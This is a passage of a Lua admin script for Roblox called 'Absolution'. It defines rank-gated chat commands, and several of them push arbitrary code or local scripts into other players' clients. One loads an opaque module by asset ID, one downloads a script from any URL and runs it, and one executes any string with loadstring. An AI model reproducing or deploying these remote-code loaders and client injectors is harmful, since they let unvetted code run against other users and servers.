| 4325 | --syncRanksOut() | |
| 4326 | for i,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 4327 | Absolution.Functions.Dismiss(v) | |
| 4328 | end | |
| 4329 | for i,v in pairs(Absolution.Connections) do | |
| 4330 | pcall(function() | |
| 4331 | v:disconnect() | |
| 4332 | end) | |
| 4333 | end | |
| 4334 | for i,v in pairs(Absolution.Functions) do | |
| 4335 | Absolution.Functions[i] = function() end | |
| 4336 | end | |
| 4337 | Absolution = nil | |
| 4338 | for i,v in pairs(getfenv()) do | |
| 4339 | getfenv()[i] = nil | |
| 4340 | end | |
| 4341 | script.Source = '' | |
| 4342 | end) | |
| 4343 | Absolution.Functions.Command("Send Packet", {"packet", "sendp", "pseudopacket"}, 7, "Sends a packet to a player", "No Flags", function(Speaker,Msg)
| |
| 4344 | local Split = Msg:find('/')
| |
| 4345 | local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1)) | |
| 4346 | local Packet = Msg:sub(Split + 1) | |
| 4347 | local pckt; | |
| 4348 | if #Players > 0 then | |
| 4349 | for _,v in pairs(Players) do | |
| 4350 | local Ran,Error = ypcall(function() | |
| 4351 | pckt = Absolution.Handler:sendPacket(v, Packet) | |
| 4352 | end) | |
| 4353 | if not Ran then | |
| 4354 | Absolution.Functions.Out(Speaker, Error, 4) | |
| 4355 | else | |
| 4356 | Absolution.Functions.Out(Speaker, tostring(pckt), 1) | |
| 4357 | end | |
| 4358 | end | |
| 4359 | end | |
| 4360 | end) | |
| 4361 | Absolution.Functions.Command("Connect Player", {"connect","conp","cplayer","connectplayer"}, 7, "Connects a player to absolution", "No Flags", function(Speaker,Msg)
| |
| 4362 | local Players = Absolution.Functions.getPlayers(Speaker,Msg) | |
| 4363 | if #Players > 0 then | |
| 4364 | for _,v in pairs(Players) do | |
| 4365 | local Ran,Error = ypcall(function() | |
| 4366 | Absolution.Functions:ConnectPlayer(v) | |
| 4367 | end) | |
| 4368 | if not Ran then | |
| 4369 | --Absolution.Functions.Output(Speaker, Error, 'Really red') | |
| 4370 | Absolution.Functions.Out(Speaker, Error, 4) | |
| 4371 | else | |
| 4372 | Absolution.Functions.Out(Speaker, "Attempting to force connect "..v.Name, 5) | |
| 4373 | --Absolution.Functions.Output(Speaker, "Attempting to force connect "..v.Name, 'White') | |
| 4374 | end | |
| 4375 | end | |
| 4376 | end | |
| 4377 | end) | |
| 4378 | Absolution.Functions.Command("Send loadstring", {"loadstr", "rlt", "nl"}, 7, "Sends a code to a player", "No Flags", function(Speaker,Msg)
| |
| 4379 | local Split = Msg:find('/')
| |
| 4380 | local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1)) | |
| 4381 | local Packet = Msg:sub(Split + 1) | |
| 4382 | local pckt; | |
| 4383 | if #Players > 0 then | |
| 4384 | for _,v in pairs(Players) do | |
| 4385 | local Ran,Error = ypcall(function() | |
| 4386 | pckt = Absolution.Handler:clientLS(Packet, v) | |
| 4387 | end) | |
| 4388 | if not Ran then | |
| 4389 | --Absolution.Functions.Output(Speaker, Error, 'Really red') | |
| 4390 | Absolution.Functions.Out(Speaker, Error, 4) | |
| 4391 | else | |
| 4392 | --Absolution.Functions.Output(Speaker, tostring(pckt), 'White') | |
| 4393 | Absolution.Functions.Out(Speaker, tostring(pckt), 1) | |
| 4394 | end | |
| 4395 | end | |
| 4396 | end | |
| 4397 | end) | |
| 4398 | Absolution.Functions.Command("NewLocalScript", {"nls","forcelocal"}, 7, "Sends a localscript to a player", "No Flags", function(Speaker,Msg)
| |
| 4399 | local Split = Msg:find('/')
| |
| 4400 | local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1)) | |
| 4401 | local Packet = Msg:sub(Split + 1) | |
| 4402 | local pckt; | |
| 4403 | if #Players > 0 then | |
| 4404 | for _,v in pairs(Players) do | |
| 4405 | local Ran,Error = ypcall(function() | |
| 4406 | pckt = Absolution.Functions.NLS(Packet, v:findFirstChild('PlayerGui'))
| |
| 4407 | end) | |
| 4408 | if not Ran then | |
| 4409 | --Absolution.Functions.Output(Speaker, Error, 'Really red') | |
| 4410 | Absolution.Functions.Out(Speaker, Error, 4) | |
| 4411 | else | |
| 4412 | --Absolution.Functions.Output(Speaker, 'Sent localscript', 'White') | |
| 4413 | Absolution.Functions.Out(Speaker, 'Sent local to '..v.Name, 5) | |
| 4414 | end | |
| 4415 | end | |
| 4416 | end | |
| 4417 | end) | |
| 4418 | Absolution.Functions.Command('Load ic3 admin', {'loadcancer'}, 7, 'Loads ic3s cancer module (do not do this unless you know what the hell ur doing)', 'No Flags', function(Speaker, Msg)
| |
| 4419 | Absolution.Functions.createScript([[require(200901975)'ic399']], workspace) | |
| 4420 | end) | |
| 4421 | Absolution.Functions.Command("Load HTTP from page", {'loadh','httpload'}, 7, 'Loads an http script from a website', 'No Flags', function(Speaker,Msg)
| |
| 4422 | if #Msg >0 then | |
| 4423 | local httpSite = Msg | |
| 4424 | Absolution.Functions.Output(Speaker,'Are you sure you want to load '..httpSite..'?','Bright violet',function() | |
| 4425 | local rtn = Absolution.Services.HttpService:GetAsync(httpSite) | |
| 4426 | Absolution.Functions.createScript(rtn, Absolution.Services.Workspace, Speaker.Name..' http script') | |
| 4427 | end) | |
| 4428 | end | |
| 4429 | end) | |
| 4430 | Absolution.Functions.Command("Execute", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
| |
| 4431 | warn(Speaker, "loadstring(\""..Msg.."\")") | |
| 4432 | local Speakr = Speaker | |
| 4433 | local ran,error = ypcall(function() | |
| 4434 | loadstring(Msg)() | |
| 4435 | end) | |
| 4436 | if not ran then | |
| 4437 | Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, error, 'Really red') | |
| 4438 | else | |
| 4439 | Absolution.Functions.Out(Speaker,'Ran Successfully!', 5)--Absolution.Functions.Output(Speaker, 'Ran successfully!', 'Lime green') | |
| 4440 | end | |
| 4441 | end) | |
| 4442 | -- Rank 8 -- | |
| 4443 | Absolution.Functions.Command("Sync Ranks Out", {'so','sync','sro'}, 8, "Syncs data to database", "-p (Player data)", function(Speaker,Msg)
| |
| 4444 | if Absolution.Functions.GetSplit(Msg) == 'p' then | |
| 4445 | local Players = Absolution.Functions.getPlayers(Speaker,Msg) | |
| 4446 | if #Players > 0 then | |
| 4447 | for _,v in pairs(Players) do | |
| 4448 | Absolution.Functions.Out(Speaker,"Attempting to sync data for "..v.Name, 5) | |
| 4449 | local Ran,Error = ypcall(function() | |
| 4450 | Absolution.Functions.syncRankOut(v) | |
| 4451 | end) | |
| 4452 | if not Ran then | |
| 4453 | --Absolution.Functions.Output(Speaker, Error, 'Really red') | |
| 4454 | Absolution.Functions.Out(Speaker, Error, 4) | |
| 4455 | else | |
| 4456 | --Absolution.Functions.Output(Speaker, "Attempting to sync data for "..v.Name, 'White', nil, 8) | |
| 4457 | end | |
| 4458 | end | |
| 4459 | end | |
| 4460 | else | |
| 4461 | Absolution.Functions.Out(Speaker,'Synchronizing Data.', 2) | |
| 4462 | Absolution.Functions.syncRanksOut() | |
| 4463 | --Absolution.Functions.Output(Speaker, 'Data syncronized!', 'Lime green', nil, 8) | |
| 4464 | Absolution.Functions.Out(Speaker,'Data syncronized!', 5) | |
| 4465 | end | |
| 4466 | end) | |
| 4467 | --------- Start Script ----------------------- | |
| 4468 | Absolution.Functions:Boot() | |
| 4469 | local end_time = tick() | |
| 4470 | Absolution.bootTime = (end_time-start_time) | |
| 4471 | --Absolution.Functions.Output('Admins','Absolution booted in '..Absolution.bootTime..' seconds.','Bright violet',nil,60)
| |
| 4472 | Absolution.Functions.Out('Admins','Absolution booted in '..Absolution.bootTime..' seconds.',5) |